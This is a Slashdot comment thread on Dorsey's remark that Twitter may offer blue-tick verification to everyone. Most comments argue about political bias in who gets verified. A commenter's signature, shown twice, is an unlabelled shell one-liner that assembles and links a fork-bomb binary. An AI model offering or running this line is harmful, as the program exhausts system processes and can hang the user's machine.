Slashdot Mirror
Twitter Exploring Letting Everyone Get a Blue Tick For Verification, CEO Jack Dorsey Says (cnbc.com)
An anonymous reader shares a report: Twitter could one day allow everyone to be verified by one of the company's signature blue ticks, according to CEO Jack Dorsey. In a livestream on Periscope, Dorsey said Thursday that opening verification to more people could help to make sure people on the platform are who they say they are. "The intention is to open verification for everyone, and to do it in a way that is scalable where we (Twitter) are not in the way. And people can verify more facts about themselves and we don't have to be the judge or imply any bias on our part," Dorsey said. Twitter introduced the blue checkmark in 2009. It was initially available to public figures such as celebrities, but has since expanded to others like journalists and bloggers. Users need to apply for the blue tick, explaining why they need one.
SPOON!
"He's lost in a 'floyd hole"
Shouldn't everyone have the blue tick (verified).
To prevent the bots. Or prevent bots.
Of course Twitter enjoys inflated user counts and usage.
I enjoy completely ignoring it.
BlameBillCosby.com
We all know The Tick is blue (now), but do we all need a hero behind us yelling, "Spoon!"?
All you have to do is agree in every detail with Jack.
Because Jack is that older sibling who knows best. Jack only wants what is good for everyone. Sometimes, Jack has to silence a tiny minority so that their distracting voices don't degrade the utopia that is Jack's vision. But Jack knows best. In the end, there will be complete free speech and expression on Jack's monopolistic platform. All you have to do is agree with Jack.
Now everyone will be rushing to get a "blue tick" so they can keep the fantasy going that their Twitter account somehow makes them interesting and famous.
Sent from my TARDIS
Twitter has a habit of removing verification from people they don't like even though they are who they say they are.
I don't use twitter, but isn't this the type of thing they have been preaching to people for a long time now? Why has it taken them so long to also have equality on their data collection convenience platform?
So will they have a Super Blue Tick?
What I hear is that people with the blue tick, has extra features, such as filtering out tweets and replys from all the riff raff without the blue tick.
Which might also explain why people with the wrong opinions have been stripped of their blue tick so the good people won't have to look at them.
L'Idiot
It'd be interesting if it ever got to the point where not having a blue check mark was seen as a sign that you were saying stuff that was edgy enough to potentially be interesting.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Except this things has not just been used for verification, the withdrawal of it has been used as "punishment" for people saying things that Twitter management and staff do not like.
... unless you can have some sort of weird twitter username that doesn't reveal your real identify *and* have a blue tick.
First people want to be anonymous, then the government (like China?) wants to force us to use our real names but this seems like some mental jujitsu that makes us all want to use our real verified names because the blue tick means we are special?
I am actually not some super paranoid person about doing this. It is an ok idea, seems like a good idea to be able to have some sort of verification or even Slashdot-like karma that you are a good actor.
I'm Spartacus .... (listens)
At this point, it's been shown that the "Verified" system is naught but a mutual back-patting club for those whose ideals line up with those "in the fold" at Twitter, or who're simply too damn popular to be left alone.
Chas - The one, the only.
THANK GOD!!!
Itâ(TM)s already gotten to that point on the bleeding edge of the right. Assange is glorified for having no blue checkmark, regardless of his political leanings, because his case demonstrates clearly that Twitter hands out checkmarks not on the basis of importance but of adherence to the party line of political correctness. Richard Spencer finally had his blue check stripped, but for a while it was assumed that his blue checkmark meant that he was an FBI plant: why else would Twitter let him continue to sperg out about racism if not because he was controlled opposition?
You'd want it because verification unlocks features and allows you to show up in search results and have mentions read.
If you aren't verified, you're basically filtered out of existence to other Twitter users. Tweets you post may or may not show up, mentioning people may or may not cause them to see your tweet, and various other notifications you can generate may or may not show. Verified users show up in the default search results, non-verified users have to break a certain "retweet" or "like" threshold to be seen.
No matter what Twitter says, they treat verified users as being "special" and offer them perks that other users don't get. That's why this (sort of) makes sense, even if they don't do any real verification to a real name. (Of course what would make more sense is to NOT offer perks to verified users and just make the checkmark indicate that a user is who they say they are.)
I unfollow blue-ticked accounts.
Helen: Everyone's special, Dash. ...*no one* will be.
Dash: [muttering] Which is another way of saying no one is.
or
Syndrome: *Everyone* can be super! And when everyone's super... [laughs maniacally]
When everyone has it, it becomes useless.
Sent as ripples into the electromagnetic field. No single photon has been harmed in the process.
"We're just going to ban everyone well-known we don't like so the Official Seal of Certified Politically Correct Drone-hood essentially maintains the same meaning"
Richard Spencer is controlled opposition.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's best when the semi-official opposition are clowns.